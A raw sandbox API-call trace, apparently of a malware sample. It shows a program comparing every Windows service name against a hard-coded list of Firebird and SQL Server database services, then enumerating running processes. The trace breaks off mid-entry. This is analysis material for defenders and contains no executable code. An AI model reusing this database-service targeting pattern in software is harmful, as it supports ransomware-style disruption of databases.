[0299.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0299.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0299.481] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0299.481] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0299.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0299.482] lstrlenW (lpString="ClickToRunSvc") returned 13 [0299.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0299.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0299.482] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0299.482] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0299.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0299.482] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0299.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0299.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0299.482] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0299.482] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0299.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0299.482] lstrlenW (lpString="CryptSvc") returned 8 [0299.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0299.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0299.482] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0299.482] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0299.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0299.482] lstrlenW (lpString="DcomLaunch") returned 10 [0299.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0299.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0299.482] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0299.482] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0299.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0299.482] lstrlenW (lpString="DeviceAssociationService") returned 24 [0299.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0299.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0299.482] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0299.483] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0299.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0299.483] lstrlenW (lpString="Dhcp") returned 4 [0299.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0299.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0299.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0299.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0299.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0299.483] lstrlenW (lpString="Dnscache") returned 8 [0299.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0299.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0299.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0299.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0299.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0299.483] lstrlenW (lpString="DPS") returned 3 [0299.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0299.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0299.483] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0299.483] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0299.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0299.483] lstrlenW (lpString="DusmSvc") returned 7 [0299.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0299.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0299.483] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0299.483] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0299.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0299.483] lstrlenW (lpString="EventLog") returned 8 [0299.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0299.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0299.484] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0299.484] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0299.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0299.484] lstrlenW (lpString="EventSystem") returned 11 [0299.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0299.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0299.484] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0299.484] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0299.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0299.484] lstrlenW (lpString="FontCache") returned 9 [0299.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0299.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0299.484] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0299.484] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0299.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0299.484] lstrlenW (lpString="gpsvc") returned 5 [0299.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0299.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0299.484] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0299.484] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0299.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0299.484] lstrlenW (lpString="iphlpsvc") returned 8 [0299.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0299.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0299.484] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0299.484] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0299.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0299.485] lstrlenW (lpString="KeyIso") returned 6 [0299.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0299.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0299.485] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0299.485] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0299.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0299.485] lstrlenW (lpString="LanmanServer") returned 12 [0299.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0299.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0299.485] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0299.485] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0299.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0299.485] lstrlenW (lpString="LanmanWorkstation") returned 17 [0299.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0299.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0299.485] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0299.485] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0299.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0299.485] lstrlenW (lpString="lfsvc") returned 5 [0299.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0299.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0299.485] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0299.485] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0299.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0299.485] lstrlenW (lpString="lmhosts") returned 7 [0299.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0299.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0299.486] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0299.486] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0299.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0299.486] lstrlenW (lpString="LSM") returned 3 [0299.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0299.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0299.486] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0299.486] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0299.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0299.486] lstrlenW (lpString="MpsSvc") returned 6 [0299.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0299.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0299.486] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0299.486] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0299.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0299.486] lstrlenW (lpString="NcbService") returned 10 [0299.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0299.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0299.486] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0299.486] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0299.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0299.486] lstrlenW (lpString="netprofm") returned 8 [0299.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0299.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0299.486] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0299.486] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0299.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0299.486] lstrlenW (lpString="NgcSvc") returned 6 [0299.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0299.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0299.487] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0299.487] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0299.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0299.487] lstrlenW (lpString="NlaSvc") returned 6 [0299.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0299.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0299.487] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0299.487] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0299.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0299.487] lstrlenW (lpString="nsi") returned 3 [0299.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0299.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0299.487] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0299.487] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0299.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0299.487] lstrlenW (lpString="PcaSvc") returned 6 [0299.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0299.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0299.487] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0299.487] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0299.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0299.487] lstrlenW (lpString="PlugPlay") returned 8 [0299.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0299.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0299.487] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0299.488] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0299.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0299.488] lstrlenW (lpString="Power") returned 5 [0299.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0299.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0299.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0299.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0299.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0299.488] lstrlenW (lpString="ProfSvc") returned 7 [0299.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0299.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0299.488] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0299.488] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0299.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0299.488] lstrlenW (lpString="RpcEptMapper") returned 12 [0299.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0299.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0299.488] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0299.488] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0299.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0299.488] lstrlenW (lpString="RpcSs") returned 5 [0299.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0299.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0299.488] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0299.488] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0299.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0299.488] lstrlenW (lpString="SamSs") returned 5 [0299.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0299.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0299.489] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0299.489] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0299.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0299.489] lstrlenW (lpString="Schedule") returned 8 [0299.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0299.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0299.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0299.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0299.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0299.489] lstrlenW (lpString="SecurityHealthService") returned 21 [0299.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0299.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0299.489] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0299.489] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0299.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0299.489] lstrlenW (lpString="SENS") returned 4 [0299.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0299.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0299.489] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0299.489] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0299.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0299.489] lstrlenW (lpString="ShellHWDetection") returned 16 [0299.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0299.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0299.489] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0299.489] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0299.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0299.490] lstrlenW (lpString="Spooler") returned 7 [0299.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0299.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0299.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0299.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0299.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0299.490] lstrlenW (lpString="StateRepository") returned 15 [0299.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0299.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0299.490] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0299.490] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0299.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0299.490] lstrlenW (lpString="SysMain") returned 7 [0299.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0299.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0299.490] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0299.490] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0299.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0299.490] lstrlenW (lpString="SystemEventsBroker") returned 18 [0299.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0299.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0299.490] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0299.490] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0299.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0299.490] lstrlenW (lpString="Themes") returned 6 [0299.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0299.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0299.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0299.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0299.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0299.491] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0299.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0299.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0299.491] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0299.491] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0299.491] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4420898 | out: hHeap=0x700000) returned 1 [0299.491] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0299.879] Process32FirstW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.880] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0299.880] lstrlenW (lpString="System") returned 6 [0299.880] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0299.881] lstrlenW (lpString="smss.exe") returned 8 [0299.881] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.882] lstrlenW (lpString="csrss.exe") returned 9 [0299.882] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0299.883] lstrlenW (lpString="wininit.exe") returned 11 [0299.883] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.883] lstrlenW (lpString="csrss.exe") returned 9 [0299.884] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0299.884] lstrlenW (lpString="winlogon.exe") returned 12 [0299.884] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0299.885] lstrlenW (lpString="services.exe") returned 12 [0299.885] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0299.886] lstrlenW (lpString="lsass.exe") returned 9 [0299.886] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0299.887] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0299.887] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0299.888] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0299.888] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.889] lstrlenW (lpString="svchost.exe") returned 11 [0299.889] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.889] lstrlenW (lpString="svchost.exe") returned 11 [0299.890] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0299.890] lstrlenW (lpString="dwm.exe") returned 7 [0299.890] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.891] lstrlenW (lpString="svchost.exe") returned 11 [0299.891] Process32NextW (in: hSnapshot=0x360, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, 